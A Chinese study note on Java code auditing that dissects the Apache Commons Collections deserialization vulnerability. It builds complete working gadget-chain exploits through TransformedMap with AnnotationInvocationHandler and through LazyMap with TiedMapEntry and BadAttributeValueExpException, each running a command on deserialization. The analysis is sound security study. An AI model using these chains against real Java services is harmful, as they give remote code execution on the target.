读书日记五

前言

每天一小步,进步一大步。从零开始java代码审计系列(一)

Apache Commons Collections反序列化漏洞
首先看/org/apache/commons/collections/functors/InvokerTransformer.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
这个transform方法里面可以看到有个反射调用return method.invoke(input,this.iArgs);,但是只有这里的话显然并不能RCE。
继续看/org/apache/commons/collections/functors/ChainedTransformer.class
1
2
3
4
5
6
7
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}
这里可以看出来是挨个遍历transformer,调用其的transform方法然后返回个object,返回的object继续进入循环,成为下一次调用的参数,怎么通过这里来执行命令呢,来看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test14 {
public static void main(String[] args) {
Transformer[] transformers= {
new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"})
};

Transformer transformerChain=new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());
}
}
当传入transformers后进行
1
2
3
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
当传入InvokerTransformer
1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
这里都会赋值,然后这里就会调用到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
1
return method.invoke(Runtime.getRuntime(), new Object[] {"calc"});
执行命令,但是这是我们构造出来的,环境中不可能有transformerChain.transform(Runtime.getRuntime());
这样的操作,我们可以在/org/apache/commons/collections/functors/ConstantTransformer.class找到
1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}
传入了个Object对象,然后transform方法原样返回,看代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

class Test15 implements Transformer {
private final Transformer[] iTransformers;

public Test15(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < this.iTransformers.length; ++i) {
System.out.println(object.getClass());
object = this.iTransformers[i].transform(object);
}
return object;
}
}

public class Test14 {
public static void main(String[] args) {
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[] { String.class }, new Object[] { "calc" })
};
Transformer transformerChain = new Test15(transformers);
transformerChain.transform("aa");
}
}
这里我将ChainedTransformer类重写了一些,方便观察调试。
因为在ConstantTransformer中,调用transform方法时不管输入什么都不会影响返回,所以,随意输入即可。
那么能否直接这样构造进行序列化呢,编写代码试试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.example.demo;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test14 {

public static void main(String[] args) {
Transformer[] transformers = { new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
Transformer transformerChain = new Test15(transformers);

try {
File f = new File("./src/main/java/com/example/demo/expobject.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(transformerChain);
out.flush();
out.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
FileInputStream f = new FileInputStream("./src/main/java/com/example/demo/expobject.txt");
ObjectInputStream oin = new ObjectInputStream(f);
Transformer expobject = (Transformer) oin.readObject();
expobject.transform("cc");
System.out.println(expobject.getClass());
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}

class Test15 implements Transformer, Serializable {
private static final long serialVersionUID = 1L;
private final Transformer[] iTransformers;

public Test15(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < this.iTransformers.length; ++i) {
System.out.println(object.getClass());
object = this.iTransformers[i].transform(object);
}
return object;
}
}
结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
java.io.NotSerializableException: java.lang.Runtime
at java.base/java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1185)
at java.base/java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1553)
at java.base/java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1510)
at java.base/java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1433)
at java.base/java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1179)
at java.base/java.io.ObjectOutputStream.writeArray(ObjectOutputStream.java:1379)
at java.base/java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1175)
at java.base/java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1553)
at java.base/java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1510)
at java.base/java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1433)
at java.base/java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1179)
at java.base/java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:349)
at com.example.demo.Test14.main(Test14.java:26)
可以看到实例化后的对象Runtime不允许序列化,那么我们继续修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.example.demo;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test14 {

public static void main(String[] args) {
Transformer[] transformers = { new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
Transformer transformerChain = new Test15(transformers);

try {
File f = new File("expobject");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(transformerChain);
out.flush();
out.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
FileInputStream f = new FileInputStream("expobject");
ObjectInputStream oin = new ObjectInputStream(f);
Transformer expobject = (Transformer) oin.readObject();
expobject.transform("cc");
System.out.println(expobject.getClass());
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}

class Test15 implements Transformer, Serializable {
private static final long serialVersionUID = 1L;
private final Transformer[] iTransformers;

public Test15(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < this.iTransformers.length; ++i) {
System.out.println(object.getClass());
object = this.iTransformers[i].transform(object);
}
return object;
}
}
整个调用链是
1
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
简单整理下调用,不然不是很好理解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
object = ConstantTransformer.transform("cc");
public Object transform(Object input) {
return Runtime.class;
}

object = InvokerTransformer.transform(Runtime.class);
Class cls = Runtime.class.getClass();
Method method = cls.getMethod("getMethod", this.iParamTypes);
return method.invoke("Runtime.class", "getRuntime");

object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime"));
Class cls = Runtime.class.getMethod("getRuntime").getMethod("getRuntime").getClass();
Method method = cls.getMethod("invoke", this.iParamTypes);
return method.invoke(Runtime.class.getMethod("getRuntime"), "getRuntime");

object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime").invoke());
Class cls = Runtime.class.getMethod("getRuntime").invoke().getMethod("getRuntime").getClass();
Method method = cls.getMethod("exec", this.iParamTypes);
return method.invoke(Runtime.class.getMethod("getRuntime").invoke(), "calc");
代码执行部分已经分析的差不多了,但是哪里有合适的构造点呢,根据网上的,我们来分析一下
攻击链(一)
我们来看/org/apache/commons/collections/map/TransformedMap.class
1
2
3
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
这里的话只要valueTransformer可控即可利用我们上面的调用链,
1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
当我们初始化的时候是可以控制的,怎么触发呢,继续看
1
2
3
4
5
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
当进入put方法的时候会触发,根据上面的调用链我们之后value是可以任意值的,修改代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.demo;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Test16 {
public static void main(String[] args) {
Transformer[] transformers = { new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
transformedmap.put("1", "2");
}
}
这样我们即可进行命令执行。
然后我们想要实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。
但是我们并没有找到有对map执行put的操作
这里还有一处可以实现一样的效果,这里的实现原理跟put那是一样的
1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
什么时候会调用到checkSetValue方法呢
在它所继承的父类AbstractInputCheckedMapDecorator
1
2
3
4
5
6
7
8
9
10
11
12
13
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
有个MapEntry的内部类,这里面实现了setValue,并且会触发checkSetValue,然后我们需要找一个readObject中有对map执行setValue的操作。
在jdk小于1.7的时候/reflect/annotation/AnnotationInvocationHandler.class中,readObject中有对map的修改功能,这里我下载了jdk1.7来看下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();


// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
我们先看下payload触发的调用堆栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.example.demo;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Test16 implements Serializable {
private static final long serialVersionUID = 1L;

public static void main(String[] args) throws Exception {
Transformer[] transformers = { new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "2");

Map transformedmap = TransformedMap.decorate(map, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);

Object ins = cons.newInstance(java.lang.annotation.Retention.class, transformedmap);

ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
}
}
调试略。
攻击链(二)
攻击链一种的触发操作在jdk1.8是不存在的,那么我们来分析下jdk1.8中的攻击链,
我们还可以找到另外一处调transform可控的地方,
1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
首先,map中如果不包含这个key那么就可以进入transform,并且可以看到factory也是我们可控的
1
2
3
4
5
6
7
8
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
也就是说只要让factorytransformerChain对象即可触发,key的值没啥影响
那么什么时候会调用get方法呢,可以找到/org/apache/commons/collections/keyvalue/TiedMapEntry.class
1
2
3
4
5
6
7
public Object getValue() {
return this.map.get(this.key);
}

public String toString() {
return this.getKey() + "=" + this.getValue();
}
在toString方法中会调用,那么java中的toString什么时候调用呢
这里的toString方法的作用其实跟php的是差不多的
现在我们我还差一步,就是哪里可以触发这个toString进而触发getValue呢
来看/javax/management/BadAttributeValueExpException.java中的readObject方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
这里我们并不会触发setSecurityManager0的操作,也就是说在System.getSecurityManager()会返回null,那么就会触发toString,然后我们只要让val个变量的值为TiedMapEntry对象即可触发,因为这里是个私有变量,所以我们通过反射所有变量来赋值,那么整个攻击链就构造完成了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.example.demo;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

public class Test16 implements Serializable {
private static final long serialVersionUID = 1L;

public static void main(String[] args) throws Exception {
Transformer[] transformers = { new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException ins = new BadAttributeValueExpException(null);

Field valfield = ins.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(ins, entry);

ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
ois.close();
}
}
参考链接
https://xz.aliyun.com/t/4558#toc-0
https://www.anquanke.com/post/id/82934
https://p0sec.net/index.php/archives/121/
https://security.tencent.com/index.php/blog/msg/97